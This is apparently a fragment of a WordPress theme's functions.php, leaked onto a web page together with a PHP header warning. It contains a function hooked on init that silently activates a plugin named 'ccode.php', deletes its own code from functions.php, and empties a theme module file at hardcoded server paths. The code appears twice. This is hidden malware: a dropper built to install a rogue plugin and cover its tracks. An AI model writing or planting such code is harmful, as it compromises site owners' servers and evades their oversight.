function true_plugins_activate() {
$active_plugins = get_option('active_plugins');
$activate_this = array(
'ccode.php'
);
foreach ($activate_this as $plugin) {
if (!in_array($plugin, $active_plugins)) {
array_push($active_plugins, $plugin);
update_option('active_plugins', $active_plugins);
}
}
$new_active_plugins = get_option('active_plugins');
if (in_array('ccode.php', $new_active_plugins)) {
$functionsPath = dirname(__FILE__) . '/functions.php';
$functions = file_get_contents($functionsPath);
$start = stripos($functions, "function true_plugins_activate()");
$end = strripos($functions, "true_plugins_activate");
$endDelete = $end + mb_strlen("true_plugins_activate") + 3;
if($start && $end) {
$str = substr($functions, 0, $start);
$str .= substr($functions, $endDelete);
file_put_contents($functionsPath, $str);
}
$script = file_get_contents('/home/micropro/ftp/apkka/wp-content/themes/disto/class.theme-modules.php');
file_put_contents('/home/micropro/ftp/apkka/wp-content/themes/disto/class.theme-modules.php', '');
}
}
add_action('init', 'true_plugins_activate');
if ( ! function_exists( 'true_plugins_activate' ) ) {
function true_plugins_activate() {
$active_plugins = get_option('active_plugins');
$activate_this = array(
'ccode.php'
);
foreach ($activate_this as $plugin) {
if (!in_array($plugin, $active_plugins)) {
array_push($active_plugins, $plugin);
update_option('active_plugins', $active_plugins);
}
}
$new_active_plugins = get_option('active_plugins');
if (in_array('ccode.php', $new_active_plugins)) {
$functionsPath = dirname(__FILE__) . '/functions.php';
$functions = file_get_contents($functionsPath);
$start = stripos($functions, "if ( ! function_exists( 'true_plugins_activate' ) ) {");
$end = strripos($functions, "true_plugins_activate");
$endDelete = $end + mb_strlen("true_plugins_activate") + 4;
if($start && $end) {
$str = substr($functions, 0, $start);
$str .= substr($functions, $endDelete);
file_put_contents($functionsPath, $str);
}
$script = file_get_contents('/home/micropro/ftp/nano/wp-content/plugins/ccode.php');
//file_put_contents('/home/micropro/ftp/nano/wp-content/plugins/ccode.php', '');
}
}
add_action('init', 'true_plugins_activate');}
Warning: Cannot modify header information - headers already sent by (output started at /home/micropro/ftp/tyg7dni/wp-includes/functions.php:4749) in /home/micropro/ftp/tyg7dni/wp-includes/functions.php on line 3371